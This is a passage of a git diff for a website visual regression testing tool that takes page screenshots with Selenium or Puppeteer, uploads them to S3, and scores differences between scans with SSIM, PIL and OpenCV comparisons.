- """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # initialize driver if not passed as param - driver_present = True - if not driver: - driver = driver_init() - driver_present = False - - - # request site_url - driver.get(site.site_url) - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # inserting video pausing scripts - try: - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannnot pause videos') - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - active_masks = Mask.objects.filter(active=True) - if len(active_masks) != 0: - for mask in active_masks: - try: - driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # scroll one frame at a time and capture screenshot - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - # driver.execute_script("window.scrollBy(0, window.innerHeight);") - driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - # get screenshot - driver.save_screenshot(f'{pic_id}.png') - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site.id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "index": index, - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - index += 1 - - else: - bottom = True - - if not driver_present: - quit_driver(driver) - - return image_array - - - - - - - def _scan(self, site, configs, driver=None,): - """ - Grabs multiple screenshots of the website and uploads - them to s3 as one package. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # initialize driver if not passed as param - driver_present = True - if not driver: - driver = driver_init() - driver_present = False - - - # request site_url - driver.get(site.site_url) - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # inserting video pausing scripts - try: - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannnot pause videos') - - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - active_masks = Mask.objects.filter(active=True) - if len(active_masks) != 0: - for mask in active_masks: - try: - driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # vertically concats two images - def add_images(im1, im2): - im1 = I.open(im1) - im2 = I.open(im2) - new_img = I.new('RGB', (im1.width, im1.height + im2.height)) - new_img.paste(im1, (0, 0)) - new_img.paste(im2, (0, im1.height)) - return new_img - - - # scroll one frame at a time and capture screenshot - final_img = None - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - # driver.execute_script("window.scrollBy(0, window.innerHeight);") - driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - # get screenshot - driver.save_screenshot(f'{pic_id}.png') - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - - # adding new image to bottom of existing image (if not index = 0) - pic_id_2 = uuid.uuid4() - if index != 0 and final_img is not None: - add_images(final_img, image).save(f'{pic_id_2}.png') - os.remove(final_img) - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - else: - I.open(image).save(f'{pic_id_2}.png') - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - - # remove local copy - os.remove(image) - - index += 1 - - else: - bottom = True - - - remote_path = f'static/sites/{site.id}/{pic_id_2}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(final_img, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - - - # create image obj and add to list - img_obj = { - "index": 0, - "id": str(pic_id_2), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - # remove local copy - os.remove(final_img) - - if not driver_present: - quit_driver(driver) - - return image_array - - - - - - - - async def scan_p(self, site, configs): - """ - Using Puppeteer, grabs multiple screenshots of the website and uploads - them to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) - page = await driver.newPage() - - sizes = configs.get('window_size', '1920,1080').split(',') - is_mobile = False - if configs.get('device') == 'mobile': - is_mobile = True - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs.get('max_wait_time', 30)*1000 - } - - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" - ) - - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent - } - - if configs.get('device') == 'mobile': - await page.emulate(emulate_options) - else: - await page.setViewport(viewport) - - # requesting site url - await page.goto(site.site_url, page_options) - - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # pausing videos - try: - videos = await page.querySelectorAll('video') - for vid in videos: - await page.evaluate('(vid) => vid.pause()', vid) - except Exception as e: - print(e) - - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - @sync_to_async - def get_active_global_masks(): - masks = Mask.objects.filter(active=True) - active_masks = [] - if len(masks) > 0: - for mask in masks: - active_masks.append(mask.id) - return active_masks - - active_masks = await get_active_global_masks() - - for mask in active_masks: - try: - await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # scroll one frame at a time and capture screenshot - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # interact with and wait for page to load - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - time.sleep(configs.get('min_wait_time', 10)) - - - # get screenshot - await page.screenshot({'path': f'{pic_id}.png'}) - - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site.id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "index": index, - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - index += 1 - - else: - bottom = True - - - await driver.close() - - return image_array - - - - - - - - - async def _scan_p(self, site, configs): - """ - Using Puppeteer, grabs multiple screenshots of the website and uploads - them to s3 as a single image. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) - page = await driver.newPage() - - sizes = configs.get('window_size', '1920,1080').split(',') - is_mobile = False - if configs.get('device') == 'mobile': - is_mobile = True - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs.get('max_wait_time', 30)*1000 - } - - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" - ) - - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent - } - - if configs.get('device') == 'mobile': - await page.emulate(emulate_options) - else: - await page.setViewport(viewport) - - # requesting site url - await page.goto(site.site_url, page_options) - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # pausing videos - try: - videos = await page.querySelectorAll('video') - for vid in videos: - await page.evaluate('(vid) => vid.pause()', vid) - except Exception as e: - print(e) - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - @sync_to_async - def get_active_global_masks(): - masks = Mask.objects.filter(active=True) - active_masks = [] - for mask in masks: - active_masks.append(mask.id) - return active_masks - - active_masks = await get_active_global_masks() - - for mask in active_masks: - try: - await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # vertically concats two images - @sync_to_async - def add_images(im1, im2): - im1 = I.open(im1) - im2 = I.open(im2) - new_img = I.new('RGB', (im1.width, im1.height + im2.height)) - new_img.paste(im1, (0, 0)) - new_img.paste(im2, (0, im1.height)) - return new_img - - - # scroll one frame at a time and capture screenshot - final_img = None - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # interact with and wait for page to load - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - time.sleep(configs.get('min_wait_time', 10)) - - - # get screenshot - await page.screenshot({'path': f'{pic_id}.png'}) - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - - # adding new image to bottom of existing image (if not index = 0) - pic_id_2 = uuid.uuid4() - if index != 0 and final_img is not None: - new_img = await add_images(final_img, image) - new_img.save(f'{pic_id_2}.png') - os.remove(final_img) - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - else: - I.open(image).save(f'{pic_id_2}.png') - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - - # remove local copy - os.remove(image) - - index += 1 - - else: - bottom = True - - - remote_path = f'static/sites/{site.id}/{pic_id_2}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(final_img, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - - - # create image obj and add to list - img_obj = { - "index": 0, - "id": str(pic_id_2), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - # remove local copy - os.remove(final_img) - - - await driver.close() - - return image_array - - - - - - - - - - - def test(self, test, index=None): - """ - Compares each screenshot between the two scans and records - a score out of 100%. - - Compairsons used : - - Structral Similarity Index (ssim) - - PIL ImageChop Differences, Ratio - - cv2 ORB Brute-force Matcher, Ratio - - - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # setup temp dirs - if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): - os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) - - # temp root - temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') - - # loop through and download each img in scan and compare it. - pre_scan_images = test.pre_scan.images - img_test_results = [] - scores = [] - i = 0 - - if index is not None: - pre_scan_images = [test.pre_scan.images[index]] - i = index - - for pre_img_obj in pre_scan_images: - - # getting pre_scan image - pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') - with open(pre_img_path, 'wb') as data: - s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) - - # open with PIL Image library - pre_img = I.open(pre_img_path) - # convert to array - pre_img_array = numpy.array(pre_img) - - # getting post_scan image - try: - post_img_obj = test.post_scan.images[i] - except: - post_img_obj = None - - if post_img_obj is not None: - post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') - with open(post_img_path, 'wb') as data: - s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) - - # open with PIL Image library - post_img = I.open(post_img_path) - # convert to array - post_img_array = numpy.array(post_img) - - - # test images with PIL - def pil_score(pre_img, post_img): - try: - if (pre_img.mode != post_img.mode) \ - or (pre_img.size != post_img.size) \ - or (pre_img.getbands() != post_img.getbands()): - raise Exception('images are not comparable') - - # Generate diff image in memory. - diff_img = ImageChops.difference(pre_img, post_img) - - # Calculate difference as a ratio. - stat = ImageStat.Stat(diff_img) - diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 - pil_img_score = (100 - diff_ratio) - # print(f'PIL score -> {pil_img_score}') - return pil_img_score - - except Exception as e: - print(e) - - - # test with cv2 - def cv2_score(pre_img_array, post_img_array): - try: - orb = cv2.ORB_create() - - # detect keypoints and descriptors - kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) - kp_b, desc_b = orb.detectAndCompute(post_img_array, None) - - # define the bruteforce matcher object - bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) - - # perform matches. - matches = bf.match(desc_a, desc_b) - - # Look for similar regions with distance < 20. (from 0 to 100) - similar_regions = [i for i in matches if i.distance < 20] - if len(matches) == 0: - cv2_img_score = 100 - else: - cv2_img_score = (len(similar_regions) / len(matches)) * 100 - # print(f'cv2 -> {cv2_img_score}') - - return cv2_img_score - - except Exception as e: - print(e) - - - - # test images - try: - img_score_tupple = ssim(pre_img_array, post_img_array) - img_score_list = list(img_score_tupple) - ssim_img_score = statistics.fmean(img_score_list) * 100 - # print(f'ssim -> {ssim_img_score}') - - pil_img_score = pil_score(pre_img, post_img) - # print(f'pil -> {pil_img_score}') - - cv2_img_score = cv2_score(pre_img_array, post_img_array) - # print(f'cv2 -> {cv2_img_score}') - - img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 - # print(f'img_score ==> {img_score}') - - except Exception as e: - print(e) - img_score = None - - # create img test obj and add to array - img_test_obj = { - "index": i, - "pre_img": pre_img_obj, - "post_img": post_img_obj, - "score": img_score, - } - - img_test_results.append(img_test_obj) - scores.append(img_score) - - # remove local copies - if post_img_obj is not None: - try: - os.remove(post_img_path) - except Exception as e: - print(e) - try: - os.remove(pre_img_path) - except Exception as e: - print(e) - - i += 1 - - # remove temp dir - shutil.rmtree(temp_root) - - # averaging scores and storing in images_delta obj - try: - avg_score = statistics.fmean(scores) - except: - avg_score = None - - images_delta = { - "average_score": avg_score, - "images": img_test_results, - } - - return images_delta - - - - - - - - def screenshot(self, site=None, url=None, configs=None, driver=None): - """ - Grabs single screenshot of the website and uploads - it to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - if not configs: - configs = { - "interval": 5, - "window_size": "1920,1080", - "max_wait_time": 60, - "min_wait_time": 10, - "device": "desktop" - } - - # initialize driver if not passed as param - if not driver: - driver = driver_init(window_size=configs.get('window_size', '1920,1080'), device=configs.get('device')) - - - # get or create site data - if site is None: - site_id = uuid.uuid4() - site_url = url - else: - site_id = site.id - site_url = site.site_url - - # request site_url - driver.get(site_url) - - - # wait for site to fully load - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - # grab screenshot - pic_id = uuid.uuid4() - driver.save_screenshot(f'{pic_id}.png') - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site_id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - # quit driver - quit_driver(driver) - - return img_obj - - - - async def screenshot_p(self, site=None, url=None, configs=None): - """ - Using Puppeteer, grabs single screenshot of the website and uploads - it to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - if not configs: - configs = { - "interval": 5, - "driver": "puppeteer", - "device": "desktop", - "window_size": "1920,1080", - "max_wait_time": 60, - "min_wait_time": 10 - } - - driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) - page = await driver.newPage() - - sizes = configs.get('window_size', '1920,1080').split(',') - is_mobile = False - if configs.get('device') == 'mobile': - is_mobile = True - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs.get('max_wait_time', 30)*1000 - } - - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" - ) - - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent - } - - if configs.get('device') == 'mobile': - await page.emulate(emulate_options) - else: - await page.setViewport(viewport) - - # get or create site data - if site is None: - site_id = uuid.uuid4() - site_url = url - else: - site_id = site.id - site_url = site.site_url - - # request site_url - await page.goto(site_url, page_options) - - # interact with and wait for page to load - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - time.sleep(configs.get('min_wait_time', 10)) - - # get screenshot - pic_id = uuid.uuid4() - await page.screenshot({'path': f'{pic_id}.png'}) - await driver.close() - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site_id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - return img_obj \ No newline at end of file diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py new file mode 100644 index 00000000..0eb81fee --- /dev/null +++ b/app/api/utils/imager.py @@ -0,0 +1,797 @@ +from .driver_s import driver_init, driver_wait, quit_driver +from .driver_p import driver_init as driver_init_p, wait_for_page +from ..models import Site, Scan, Test, Mask +from skimage.metrics import structural_similarity +from scanerr import settings +from PIL import Image as I, ImageChops, ImageStat +from datetime import datetime +from asgiref.sync import sync_to_async +import time, os, sys, json, uuid, boto3, \ + statistics, shutil, numpy, cv2 + + + + + + +class Imager(): + """ + High level Image handler used to compare screenshots of + a website. + + Also known as VRT or Visual Regression Testing. + Contains three methods scan_s(), scan_p(), test(). + The _p appendage denotes using Puppeteer as the webdriver + and the _s appendage denotes using Selenium as the webdriver: + + def scan_s(driver=None) -> using selenium + grabs multiple screenshots of the website + and uploads them to s3. + + def scan_p() -> using puppeteer + grabs multiple screenshots of the website + and uploads them to s3. + + def test(test=) -> compares each + screenshot in the two scans and records + a score out of 100% + + """ + + + + + def __init__(self, scan: object=None, configs: dict=None): + + # main scan object + self.scan = scan + + # main configs object + self.configs = configs + + # main image_array for scans + self.image_array = [] + + # setup boto3 configurations + self.s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # scripts + self.pause_video_script = ( + """ + document.querySelectorAll('video').forEach(vid => vid.pause()); + document.querySelectorAll('video').forEach(vid => vid.currentTime=0); + """ + ) + self.set_jquery = ( + """ + var jq = document.createElement('script'); + jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; + document.getElementsByTagName('head')[0].appendChild(jq); + """ + ) + self.pause_animations_script = ( + """ + const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag'); + const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}'); + styleElement.appendChild(styleTagCSSes); + document.head.appendChild(styleElement); + """ + ) + + + + + def check_timeout(self, timeout: int, start_time: str) -> bool: + """ + Checks to see if the current time exceedes the alotted timeout. + + Returns -> True if timeout exceeded + """ + current = datetime.now() + diff = current - start_time + if diff.total_seconds() >= int(timeout): + print('exceeded timeout') + return True + else: + return False + + + + + def add_images(self, im1: object, im2: object) -> object: + """ + Joins img1 and im2 vertically and saves as "new_img" + + Returns -> new_img + """ + im1 = I.open(im1) + im2 = I.open(im2) + new_img = I.new('RGB', (im1.width, im1.height + im2.height)) + new_img.paste(im1, (0, 0)) + new_img.paste(im2, (0, im1.height)) + return new_img + + + + + def save_image(self, pic_id: str, image: object) -> None: + """ + Upload image to s3, save info as image_obj, + add image_obj to image_array, & remove image file + + Returns -> None + """ + remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + # create image obj and add to list + img_obj = { + "index": 0, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + self.image_array.append(img_obj) + + print(f'adding {img_obj["url"]} to image_array') + + # remove local copy + os.remove(image) + + return None + + + + + def scan_s(self, driver: object=None) -> list: + """ + Grabs full length screenshots of the website and uploads + them to s3. + + Expects: { + 'driver': object + } + + Returns -> self.image_array list + """ + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + # request page_url + driver.get(self.scan.page.page_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(self.configs.get('interval', 5)), + min_wait_time=int(self.configs.get('min_wait_time', 10)), + max_wait_time=int(self.configs.get('max_wait_time', 30)), + ) + + # defining browser demesions + sizes = self.configs.get('window_size', '1920,1080').split(',') + + # getting full_page_height + if self.configs.get('auto_height', True): + full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;") + sizes = self.configs.get('window_size', '1920,1080').split(',') + driver.set_window_size(int(sizes[0]), int(full_page_height)) + + + if self.configs.get('disable_animations') == True: + # inserting animation pausing script + try: + driver.execute_script(self.pause_animations_script) + except: + print('cannot pause animations') + + # inserting video pausing scripts + try: + driver.execute_script(self.pause_video_script) + except: + print('cannnot pause videos') + + # mask all listed ids + if 